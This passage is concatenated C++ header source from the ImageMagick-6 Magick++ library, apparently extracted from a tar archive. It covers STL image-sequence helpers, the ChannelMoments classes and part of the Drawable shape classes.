MagickCore::Image* image = MagickCore::MergeImageLayers( first_->image(), MosaicLayer,exceptionInfo ); unlinkImages( first_, last_ ); mosaicImage_->replaceImage( image ); ThrowPPException(mosaicImage_->quiet()); } // Compares each image the GIF disposed forms of the previous image in // the sequence. From this it attempts to select the smallest cropped // image to replace each frame, while preserving the results of the // GIF animation. template <class InputIterator,class Container> void optimizeImageLayers(Container *optimizedImages_,InputIterator first_, InputIterator last_) { bool quiet; MagickCore::Image *images; if (linkImages(first_,last_) == false) return; GetPPException; quiet=first_->quiet(); images=OptimizeImageLayers(first_->image(),exceptionInfo); unlinkImages(first_,last_); optimizedImages_->clear(); insertImages(optimizedImages_,images); ThrowPPException(quiet); } // optimizeImagePlusLayers is exactly as optimizeImageLayers, but may // also add or even remove extra frames in the animation, if it improves // the total number of pixels in the resulting GIF animation. template <class InputIterator, class Container > void optimizePlusImageLayers(Container *optimizedImages_, InputIterator first_,InputIterator last_) { bool quiet; MagickCore::Image *images; if (linkImages(first_,last_) == false) return; GetPPException; quiet=first_->quiet(); images=OptimizePlusImageLayers(first_->image(),exceptionInfo); unlinkImages(first_,last_); optimizedImages_->clear(); insertImages(optimizedImages_,images); ThrowPPException(quiet); } // Compares each image the GIF disposed forms of the previous image in the // sequence. Any pixel that does not change the displayed result is replaced // with transparency. template<class InputIterator> void optimizeTransparency(InputIterator first_,InputIterator last_) { if (linkImages(first_,last_) == false) return; GetPPException; OptimizeImageTransparency(first_->image(),exceptionInfo); unlinkImages(first_,last_ ); ThrowPPException(first_->quiet()); } // Adds the names of the profiles from the image to the container. template <class Container> void profileNames(Container *names_,const Image* image_) { const char *name; names_->clear(); MagickCore::ResetImageProfileIterator(image_->constImage()); name=MagickCore::GetNextImageProfile(image_->constImage()); while (name != (const char *) NULL) { names_->push_back(std::string(name)); name=MagickCore::GetNextImageProfile(image_->constImage()); } } // Quantize colors in images using current quantization settings // Set measureError_ to true in order to measure quantization error template <class InputIterator> void quantizeImages( InputIterator first_, InputIterator last_, bool measureError_ = false ) { if (linkImages(first_,last_) == false) return; GetPPException; MagickCore::QuantizeImages( first_->quantizeInfo(), first_->image() ); MagickCore::GetImageException( first_->image(), exceptionInfo ); if ( exceptionInfo->severity > MagickCore::UndefinedException ) { unlinkImages( first_, last_ ); throwException(exceptionInfo,first_->quiet()); } MagickCore::Image* image = first_->image(); while( image != 0 ) { // Calculate quantization error if ( measureError_ ) MagickCore::GetImageQuantizeError( image ); // Update DirectClass representation of pixels MagickCore::SyncImage( image ); // Next image image=image->next; } unlinkImages( first_, last_ ); (void) MagickCore::DestroyExceptionInfo( exceptionInfo ); } // Read images into existing container (appending to container) template<class Container> void readImages(Container *sequence_,const std::string &imageSpec_, ReadOptions &options) { MagickCore::Image *images; MagickCore::ImageInfo *imageInfo; imageInfo=options.imageInfo(); imageSpec_.copy(imageInfo->filename,MaxTextExtent-1); imageInfo->filename[imageSpec_.length()] = 0; GetPPException; images=MagickCore::ReadImage(imageInfo,exceptionInfo); insertImages(sequence_,images); ThrowPPException(options.quiet()); } template<class Container> void readImages(Container *sequence_,const std::string &imageSpec_) { ReadOptions options; readImages(sequence_,imageSpec_,options); } template<class Container> void readImages(Container *sequence_,const Blob &blob_,ReadOptions &options) { MagickCore::Image *images; GetPPException; images=MagickCore::BlobToImage(options.imageInfo(),blob_.data(), blob_.length(),exceptionInfo); insertImages(sequence_,images); ThrowPPException(options.quiet()); } template<class Container> void readImages(Container *sequence_,const Blob &blob_) { ReadOptions options; readImages(sequence_,blob_,options); } // Returns a separate grayscale image for each channel specified. template <class Container > void separateImages( Container *separatedImages_, const Image &image_, const ChannelType channel_ ) { GetPPException; MagickCore::Image* images = MagickCore::SeparateImages( image_.constImage(), channel_, exceptionInfo ); separatedImages_->clear(); insertImages( separatedImages_, images ); ThrowPPException(image_.quiet()); } // Smush images from list into single image in either horizontal or // vertical direction. template<class InputIterator> void smushImages(Image *smushedImage_,InputIterator first_, InputIterator last_,const ssize_t offset_,bool stack_=false) { MagickCore::Image *newImage; if (linkImages(first_,last_) == false) return; GetPPException; newImage=MagickCore::SmushImages(first_->constImage(), (MagickBooleanType) stack_,offset_,exceptionInfo); unlinkImages(first_,last_); smushedImage_->replaceImage(newImage); ThrowPPException(smushedImage_->quiet()); } // Write Images template <class InputIterator> void writeImages( InputIterator first_, InputIterator last_, const std::string &imageSpec_, bool adjoin_ = true ) { if (linkImages(first_,last_) == false) return; first_->adjoin( adjoin_ ); GetPPException; ::ssize_t errorStat = MagickCore::WriteImages( first_->constImageInfo(), first_->image(), imageSpec_.c_str(), exceptionInfo ); unlinkImages( first_, last_ ); if ( errorStat != false ) { (void) MagickCore::DestroyExceptionInfo( exceptionInfo ); return; } ThrowPPException(first_->quiet()); } // Write images to BLOB template <class InputIterator> void writeImages( InputIterator first_, InputIterator last_, Blob *blob_, bool adjoin_ = true) { if (linkImages(first_,last_) == false) return; first_->adjoin( adjoin_ ); GetPPException; size_t length = 2048; // Efficient size for small images void* data = MagickCore::ImagesToBlob( first_->imageInfo(), first_->image(), &length, exceptionInfo); blob_->updateNoCopy( data, length, Magick::Blob::MallocAllocator ); unlinkImages( first_, last_ ); ThrowPPException(first_->quiet()); } } // namespace Magick #endif // Magick_STL_header ImageMagick-6/Magick++/ChannelMoments.h 0000644 00000004171 15246445046 0013467 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Dirk Lemstra 2014-2015 // // Definition of channel moments. // #if !defined (Magick_ChannelMoments_header) #define Magick_ChannelMoments_header #include "Magick++/Include.h" #include <vector> namespace Magick { class Image; class MagickPPExport ChannelMoments { public: // Default constructor ChannelMoments(void); // Copy constructor ChannelMoments(const ChannelMoments &channelMoments_); // Destroy channel moments ~ChannelMoments(void); // // Implemementation methods // ChannelMoments(const ChannelType channel_, const MagickCore::ChannelMoments *channelMoments_); // X position of centroid double centroidX(void) const; // Y position of centroid double centroidY(void) const; // The channel ChannelType channel(void) const; // X position of ellipse axis double ellipseAxisX(void) const; // Y position of ellipse axis double ellipseAxisY(void) const; // Ellipse angle double ellipseAngle(void) const; // Ellipse eccentricity double ellipseEccentricity(void) const; // Ellipse intensity double ellipseIntensity(void) const; // Hu invariants (valid range for index is 0-7) double huInvariants(const size_t index_) const; private: std::vector<double> _huInvariants; ChannelType _channel; double _centroidX; double _centroidY; double _ellipseAxisX; double _ellipseAxisY; double _ellipseAngle; double _ellipseEccentricity; double _ellipseIntensity; }; class MagickPPExport ImageMoments { public: // Default constructor ImageMoments(void); // Copy constructor ImageMoments(const ImageMoments &imageMoments_); // Destroy image moments ~ImageMoments(void); // Returns the moments for the specified channel ChannelMoments channel(const ChannelType channel_=CompositeChannels) const; // // Implemementation methods // ImageMoments(const Image &image_); private: std::vector<ChannelMoments> _channels; }; } #endif // Magick_ChannelMoments_header ImageMagick-6/Magick++/Drawable.h 0000644 00000202616 15246445046 0012301 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002 // Copyright Dirk Lemstra 2014-2017 // // Definition of Drawable (Graphic objects) // // The technique used for instantiating classes which derive from STL // templates is described in Microsoft MSDN Article ID: Q168958 // "HOWTO: Exporting STL Components Inside & Outside of a Class". // "http://support.microsoft.com/kb/168958" // // Note that version 3.0 of this article says that only STL // container template which supports DLL export is <vector> and we are // not using <vector> as part of the Drawable implementation. // #if !defined(Magick_Drawable_header) #define Magick_Drawable_header #include "Magick++/Include.h" #include <functional> #include <string> #include <list> #include <utility> #include "Magick++/Color.h" #include "Magick++/Geometry.h" #if defined(MagickDLLExplicitTemplate) # if defined(MAGICK_PLUSPLUS_IMPLEMENTATION) # define MagickDrawableExtern # else # pragma warning( disable: 4231 ) // Disable warning regarding using extern # define MagickDrawableExtern extern # endif // MAGICK_PLUSPLUS_IMPLEMENTATION #else # define MagickDrawableExtern #endif // MagickDLLExplicitTemplate namespace Magick { // // Representation of an x,y coordinate // class MagickPPExport Coordinate { public: Coordinate ( void ) : _x(0), _y(0) { } Coordinate ( double x_, double y_ ) : _x(x_), _y(y_) { } virtual ~Coordinate () { } void x ( double x_ ) { _x = x_; } double x ( void ) const { return _x; } void y ( double y_ ) { _y = y_; } double y ( void ) const { return _y; } private: double _x; double _y; }; typedef std::list<Magick::Coordinate> CoordinateList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::Coordinate>; #endif // MagickDLLExplicitTemplate // Compare two Coordinate objects regardless of LHS/RHS MagickPPExport int operator == ( const Coordinate& left_, const Coordinate& right_ ); MagickPPExport int operator != ( const Coordinate& left_, const Coordinate& right_ ); MagickPPExport int operator > ( const Coordinate& left_, const Coordinate& right_ ); MagickPPExport int operator < ( const Coordinate& left_, const Coordinate& right_ ); MagickPPExport int operator >= ( const Coordinate& left_, const Coordinate& right_ ); MagickPPExport int operator <= ( const Coordinate& left_, const Coordinate& right_ ); // // Base class for all drawable objects // class MagickPPExport DrawableBase { public: // Constructor DrawableBase ( void ) { } // Destructor virtual ~DrawableBase ( void ); // Operator to invoke equivalent draw API call virtual void operator()( MagickCore::DrawingWand *) const = 0; // Return polymorphic copy of object virtual DrawableBase* copy() const = 0; private: }; // // Representation of a drawable surrogate object to manage drawable objects // #undef Drawable // Conflict with <X11/Xproto.h> class MagickPPExport Drawable { public: // Constructor Drawable ( void ); // Construct from DrawableBase Drawable ( const DrawableBase& original_ ); // Destructor ~Drawable ( void ); // Copy constructor Drawable ( const Drawable& original_ ); // Assignment operator Drawable& operator= (const Drawable& original_ ); // Operator to invoke contained object void operator()( MagickCore::DrawingWand *context_ ) const; private: DrawableBase* dp; }; // Compare two Drawable objects regardless of LHS/RHS MagickPPExport int operator == ( const Drawable& left_, const Drawable& right_ ); MagickPPExport int operator != ( const Drawable& left_, const Drawable& right_ ); MagickPPExport int operator > ( const Drawable& left_, const Drawable& right_ ); MagickPPExport int operator < ( const Drawable& left_, const Drawable& right_ ); MagickPPExport int operator >= ( const Drawable& left_, const Drawable& right_ ); MagickPPExport int operator <= ( const Drawable& left_, const Drawable& right_ ); typedef std::list<Magick::Drawable> DrawableList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::Drawable>; // MagickDrawableExtern template class MagickPPExport // std::list<Magick::Drawable, std::allocator<Magick::Drawable> >; #endif // MagickDLLExplicitTemplate // // Base class for all drawable path elements for use with // DrawablePath // class MagickPPExport VPathBase { public: // Constructor VPathBase ( void ) { } // Destructor virtual ~VPathBase ( void ); // Assignment operator // const VPathBase& operator= (const VPathBase& original_ ); // Operator to invoke equivalent draw API call virtual void operator()( MagickCore::DrawingWand *context_ ) const = 0; // Return polymorphic copy of object virtual VPathBase* copy() const = 0; }; // // Representation of a drawable path element surrogate object to // manage drawable path elements so they may be passed as a list to // DrawablePath. // class MagickPPExport VPath { public: // Constructor VPath ( void ); // Construct from VPathBase VPath ( const VPathBase& original_ ); // Destructor virtual ~VPath ( void ); // Copy constructor VPath ( const VPath& original_ ); // Assignment operator VPath& operator= (const VPath& original_ ); // Operator to invoke contained object void operator()( MagickCore::DrawingWand *context_ ) const; private: VPathBase* dp; }; // Compare two VPath objects regardless of LHS/RHS MagickPPExport int operator == ( const VPath& left_, const VPath& right_ ); MagickPPExport int operator != ( const VPath& left_, const VPath& right_ ); MagickPPExport int operator > ( const VPath& left_, const VPath& right_ ); MagickPPExport int operator < ( const VPath& left_, const VPath& right_ ); MagickPPExport int operator >= ( const VPath& left_, const VPath& right_ ); MagickPPExport int operator <= ( const VPath& left_, const VPath& right_ ); typedef std::list<Magick::VPath> VPathList; #if defined(MagickDLLExplicitTemplate) MagickDrawableExtern template class MagickPPExport std::allocator<Magick::VPath>; // MagickDrawableExtern template class MagickPPExport // std::list<Magick::VPath, std::allocator<Magick::VPath> >; #endif // MagickDLLExplicitTemplate // // Drawable Objects // // Affine (scaling, rotation, and translation) class MagickPPExport DrawableAffine : public DrawableBase { public: DrawableAffine ( double sx_, double sy_, double rx_, double ry_, double tx_, double ty_ ); DrawableAffine ( void ); /*virtual*/ ~DrawableAffine( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void sx( const double sx_ ) { _affine.sx = sx_; } double sx( void ) const { return _affine.sx; } void sy( const double sy_ ) { _affine.sy = sy_; } double sy( void ) const { return _affine.sy; } void rx( const double rx_ ) { _affine.rx = rx_; } double rx( void ) const { return _affine.rx; } void ry( const double ry_ ) { _affine.ry = ry_; } double ry( void ) const { return _affine.ry; } void tx( const double tx_ ) { _affine.tx = tx_; } double tx( void ) const { return _affine.tx; } void ty( const double ty_ ) { _affine.ty = ty_; } double ty( void ) const { return _affine.ty; } private: MagickCore::AffineMatrix _affine; }; // Arc class MagickPPExport DrawableArc : public DrawableBase { public: DrawableArc ( double startX_, double startY_, double endX_, double endY_, double startDegrees_, double endDegrees_ ) : _startX(startX_), _startY(startY_), _endX(endX_), _endY(endY_), _startDegrees(startDegrees_), _endDegrees(endDegrees_) { } /*virtual*/ ~DrawableArc( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void startX( double startX_ ) { _startX = startX_; } double startX( void ) const { return _startX; } void startY( double startY_ ) { _startY = startY_; } double startY( void ) const { return _startY; } void endX( double endX_ ) { _endX = endX_; } double endX( void ) const { return _endX; } void endY( double endY_ ) { _endY = endY_; } double endY( void ) const { return _endY; } void startDegrees( double startDegrees_ ) { _startDegrees = startDegrees_; } double startDegrees( void ) const { return _startDegrees; } void endDegrees( double endDegrees_ ) { _endDegrees = endDegrees_; } double endDegrees( void ) const { return _endDegrees; } private: double _startX; double _startY; double _endX; double _endY; double _startDegrees; double _endDegrees; }; // Bezier curve (Coordinate list must contain at least three members) class MagickPPExport DrawableBezier : public DrawableBase { public: // Construct from coordinates DrawableBezier ( const CoordinateList &coordinates_ ); // Copy constructor DrawableBezier ( const DrawableBezier& original_ ); // Destructor /*virtual*/ ~DrawableBezier ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: CoordinateList _coordinates; }; // Pop (terminate) clip path definition class MagickPPExport DrawablePopClipPath : public DrawableBase { public: DrawablePopClipPath ( void ) : _dummy(0) { } /*virtual*/ ~DrawablePopClipPath ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: ::ssize_t _dummy; }; // Push (create) Clip path definition class MagickPPExport DrawablePushClipPath : public DrawableBase { public: DrawablePushClipPath ( const std::string &id_); DrawablePushClipPath ( const DrawablePushClipPath& original_ ); /*virtual*/ ~DrawablePushClipPath ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: std::string _id; }; // Named Clip Path class MagickPPExport DrawableClipPath : public DrawableBase { public: DrawableClipPath ( const std::string &id_ ); DrawableClipPath ( const DrawableClipPath& original_ ); /*virtual*/ ~DrawableClipPath ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void clip_path( const std::string &id_ ) { _id = id_.c_str(); //multithread safe } std::string clip_path( void ) const { return _id; } private: std::string _id; }; // Circle class MagickPPExport DrawableCircle : public DrawableBase { public: DrawableCircle ( double originX_, double originY_, double perimX_, double perimY_ ) : _originX(originX_), _originY(originY_), _perimX(perimX_), _perimY(perimY_) { } /*virtual*/ ~DrawableCircle ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void originX( double originX_ ) { _originX = originX_; } double originX( void ) const { return _originX; } void originY( double originY_ ) { _originY = originY_; } double originY( void ) const { return _originY; } void perimX( double perimX_ ) { _perimX = perimX_; } double perimX( void ) const { return _perimX; } void perimY( double perimY_ ) { _perimY = perimY_; } double perimY( void ) const { return _perimY; } private: double _originX; double _originY; double _perimX; double _perimY; }; // Colorize at point using PaintMethod class MagickPPExport DrawableColor : public DrawableBase { public: DrawableColor ( double x_, double y_, PaintMethod paintMethod_ ) : _x(x_), _y(y_), _paintMethod(paintMethod_) { } /*virtual*/ ~DrawableColor ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } void paintMethod( PaintMethod paintMethod_ ) { _paintMethod = paintMethod_; } PaintMethod paintMethod( void ) const { return _paintMethod; } private: double _x; double _y; PaintMethod _paintMethod; }; // Draw image at point, scaled to size specified by width and height class MagickPPExport Image; class MagickPPExport DrawableCompositeImage : public DrawableBase { public: DrawableCompositeImage ( double x_, double y_, const std::string &filename_ ); DrawableCompositeImage ( double x_, double y_, const Image &image_ ); DrawableCompositeImage ( double x_, double y_, double width_, double height_, const std::string &filename_ ); DrawableCompositeImage ( double x_, double y_, double width_, double height_, const Image &image_ ); DrawableCompositeImage ( double x_, double y_, double width_, double height_, const std::string &filename_, CompositeOperator composition_ ); DrawableCompositeImage ( double x_, double y_, double width_, double height_, const Image &image_, CompositeOperator composition_ ); // Copy constructor DrawableCompositeImage ( const DrawableCompositeImage& original_ ); // Destructor /*virtual*/ ~DrawableCompositeImage( void ); // Assignment operator DrawableCompositeImage& operator= (const DrawableCompositeImage& original_ ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void composition( CompositeOperator composition_ ) { _composition = composition_; } CompositeOperator composition( void ) const { return _composition; } void filename( const std::string &image_ ); std::string filename( void ) const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } void width( double width_ ) { _width = width_; } double width( void ) const { return _width; } void height( double height_ ) { _height = height_; } double height( void ) const { return _height; } void image( const Image &image_ ); Magick::Image image( void ) const; // Specify image format used to output Base64 inlined image data. void magick( std::string magick_ ); std::string magick( void ); private: CompositeOperator _composition; double _x; double _y; double _width; double _height; Image* _image; }; // Density class MagickPPExport DrawableDensity : public DrawableBase { public: DrawableDensity(const std::string &density_); ~DrawableDensity(void); void operator()(MagickCore::DrawingWand *context_) const; DrawableBase* copy() const; private: std::string _density; }; // Ellipse class MagickPPExport DrawableEllipse : public DrawableBase { public: DrawableEllipse ( double originX_, double originY_, double radiusX_, double radiusY_, double arcStart_, double arcEnd_ ) : _originX(originX_), _originY(originY_), _radiusX(radiusX_), _radiusY(radiusY_), _arcStart(arcStart_), _arcEnd(arcEnd_) { } /*virtual*/ ~DrawableEllipse( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void originX( double originX_ ) { _originX = originX_; } double originX( void ) const { return _originX; } void originY( double originY_ ) { _originY = originY_; } double originY( void ) const { return _originY; } void radiusX( double radiusX_ ) { _radiusX = radiusX_; } double radiusX( void ) const { return _radiusX; } void radiusY( double radiusY_ ) { _radiusY = radiusY_; } double radiusY( void ) const { return _radiusY; } void arcStart( double arcStart_ ) { _arcStart = arcStart_; } double arcStart( void ) const { return _arcStart; } void arcEnd( double arcEnd_ ) { _arcEnd = arcEnd_; } double arcEnd( void ) const { return _arcEnd; } private: double _originX; double _originY; double _radiusX; double _radiusY; double _arcStart; double _arcEnd; }; // Specify drawing fill color class MagickPPExport DrawableFillColor : public DrawableBase { public: DrawableFillColor ( const Color &color_ ); DrawableFillColor ( const DrawableFillColor& original_ ); /*virtual*/ ~DrawableFillColor( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void color( const Color &color_ ) { _color = color_; } Color color( void ) const { return _color; } private: Color _color; }; // Specify fill rule (fill-rule) class MagickPPExport DrawableFillRule : public DrawableBase { public: DrawableFillRule ( const FillRule fillRule_ ) : _fillRule(fillRule_) { } /*virtual*/ ~DrawableFillRule ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void fillRule( const FillRule fillRule_ ) { _fillRule = fillRule_; } FillRule fillRule( void ) const { return _fillRule; } private: FillRule _fillRule; }; // Specify drawing fill opacity class MagickPPExport DrawableFillOpacity : public DrawableBase { public: DrawableFillOpacity ( double opacity_ ) : _opacity(opacity_) { } /*virtual*/ ~DrawableFillOpacity ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void opacity( double opacity_ ) { _opacity = opacity_; } double opacity( void ) const { return _opacity; } private: double _opacity; }; // Specify text font class MagickPPExport DrawableFont : public DrawableBase { public: DrawableFont ( const std::string &font_ ); DrawableFont ( const std::string &family_, StyleType style_, const unsigned int weight_, StretchType stretch_ ); DrawableFont ( const DrawableFont& original_ ); /*virtual*/ ~DrawableFont ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void font( const std::string &font_ ) { _font = font_; } std::string font( void ) const { return _font; } private: std::string _font; std::string _family; StyleType _style; unsigned int _weight; StretchType _stretch; }; // Specify text positioning gravity class MagickPPExport DrawableGravity : public DrawableBase { public: DrawableGravity ( GravityType gravity_ ) : _gravity(gravity_) { } /*virtual*/ ~DrawableGravity ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void gravity( GravityType gravity_ ) { _gravity = gravity_; } GravityType gravity( void ) const { return _gravity; } private: GravityType _gravity; }; // Line class MagickPPExport DrawableLine : public DrawableBase { public: DrawableLine ( double startX_, double startY_, double endX_, double endY_ ) : _startX(startX_), _startY(startY_), _endX(endX_), _endY(endY_) { } /*virtual*/ ~DrawableLine ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void startX( double startX_ ) { _startX = startX_; } double startX( void ) const { return _startX; } void startY( double startY_ ) { _startY = startY_; } double startY( void ) const { return _startY; } void endX( double endX_ ) { _endX = endX_; } double endX( void ) const { return _endX; } void endY( double endY_ ) { _endY = endY_; } double endY( void ) const { return _endY; } private: double _startX; double _startY; double _endX; double _endY; }; // Change pixel matte value to transparent using PaintMethod class MagickPPExport DrawableMatte : public DrawableBase { public: DrawableMatte ( double x_, double y_, PaintMethod paintMethod_ ) : _x(x_), _y(y_), _paintMethod(paintMethod_) { } /*virtual*/ ~DrawableMatte ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } void paintMethod( PaintMethod paintMethod_ ) { _paintMethod = paintMethod_; } PaintMethod paintMethod( void ) const { return _paintMethod; } private: double _x; double _y; PaintMethod _paintMethod; }; // Drawable Path class MagickPPExport DrawablePath : public DrawableBase { public: DrawablePath ( const VPathList &path_ ); DrawablePath ( const DrawablePath& original_ ); /*virtual*/ ~DrawablePath ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: VPathList _path; }; // Point class MagickPPExport DrawablePoint : public DrawableBase { public: DrawablePoint ( double x_, double y_ ) : _x(x_), _y(y_) { } /*virtual*/ ~DrawablePoint ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void x( double x_ ) { _x = x_; } double x( void ) const { return _x; } void y( double y_ ) { _y = y_; } double y( void ) const { return _y; } private: double _x; double _y; }; // Text pointsize class MagickPPExport DrawablePointSize : public DrawableBase { public: DrawablePointSize ( double pointSize_ ) : _pointSize(pointSize_) { } /*virtual*/ ~DrawablePointSize ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void pointSize( double pointSize_ ) { _pointSize = pointSize_; } double pointSize( void ) const { return _pointSize; } private: double _pointSize; }; // Polygon (Coordinate list must contain at least three members) class MagickPPExport DrawablePolygon : public DrawableBase { public: DrawablePolygon ( const CoordinateList &coordinates_ ); DrawablePolygon ( const DrawablePolygon& original_ ); /*virtual*/ ~DrawablePolygon ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: CoordinateList _coordinates; }; // Polyline (Coordinate list must contain at least three members) class MagickPPExport DrawablePolyline : public DrawableBase { public: DrawablePolyline ( const CoordinateList &coordinates_ ); DrawablePolyline ( const DrawablePolyline& original_ ); /*virtual*/ ~DrawablePolyline ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: CoordinateList _coordinates; }; // Pop Graphic Context class MagickPPExport DrawablePopGraphicContext : public DrawableBase { public: DrawablePopGraphicContext ( void ) : _dummy(0) { } /*virtual*/ ~DrawablePopGraphicContext ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: ::ssize_t _dummy; }; // Push Graphic Context class MagickPPExport DrawablePushGraphicContext : public DrawableBase { public: DrawablePushGraphicContext ( void ) : _dummy(0) { } /*virtual*/ ~DrawablePushGraphicContext ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: ::ssize_t _dummy; }; // Pop (terminate) Pattern definition class MagickPPExport DrawablePopPattern : public DrawableBase { public: DrawablePopPattern ( void ) : _dummy(0) { } /*virtual*/ ~DrawablePopPattern ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: ::ssize_t _dummy; }; // Push (create) Pattern definition class MagickPPExport DrawablePushPattern : public DrawableBase { public: DrawablePushPattern ( const std::string &id_, ::ssize_t x_, ::ssize_t y_, size_t width_, size_t height_ ); DrawablePushPattern ( const DrawablePushPattern& original_ ); /*virtual*/ ~DrawablePushPattern ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; private: std::string _id; ::ssize_t _x; ::ssize_t _y; size_t _width; size_t _height; }; // Rectangle class MagickPPExport DrawableRectangle : public DrawableBase { public: DrawableRectangle ( double upperLeftX_, double upperLeftY_, double lowerRightX_, double lowerRightY_ ) : _upperLeftX(upperLeftX_), _upperLeftY(upperLeftY_), _lowerRightX(lowerRightX_), _lowerRightY(lowerRightY_) { } /*virtual*/ ~DrawableRectangle ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void upperLeftX( double upperLeftX_ ) { _upperLeftX = upperLeftX_; } double upperLeftX( void ) const { return _upperLeftX; } void upperLeftY( double upperLeftY_ ) { _upperLeftY = upperLeftY_; } double upperLeftY( void ) const { return _upperLeftY; } void lowerRightX( double lowerRightX_ ) { _lowerRightX = lowerRightX_; } double lowerRightX( void ) const { return _lowerRightX; } void lowerRightY( double lowerRightY_ ) { _lowerRightY = lowerRightY_; } double lowerRightY( void ) const { return _lowerRightY; } private: double _upperLeftX; double _upperLeftY; double _lowerRightX; double _lowerRightY; }; // Apply Rotation class MagickPPExport DrawableRotation : public DrawableBase { public: DrawableRotation ( double angle_ ) : _angle( angle_ ) { } /*virtual*/ ~DrawableRotation ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object /*virtual*/ DrawableBase* copy() const; void angle( double angle_ ) { _angle = angle_; } double angle( void ) const { return _angle; } private: double _angle; }; // Round Rectangle class MagickPPExport DrawableRoundRectangle : public DrawableBase { public: DrawableRoundRectangle ( double upperLeftX_, double upperLeftY_, double lowerRightX_, double lowerRightY_, double cornerWidth_, double cornerHeight_ ) : _upperLeftX(upperLeftX_), _upperLeftY(upperLeftY_), _lowerRightX(lowerRightX_), _lowerRightY(lowerRightY_), _cornerWidth(cornerWidth_), _cornerHeight(cornerHeight_) { } /*virtual*/ ~DrawableRoundRectangle ( void ); // Operator to invoke equivalent draw API call /*virtual*/ void operator()( MagickCore::DrawingWand *context_ ) const; // Return polymorphic copy of object 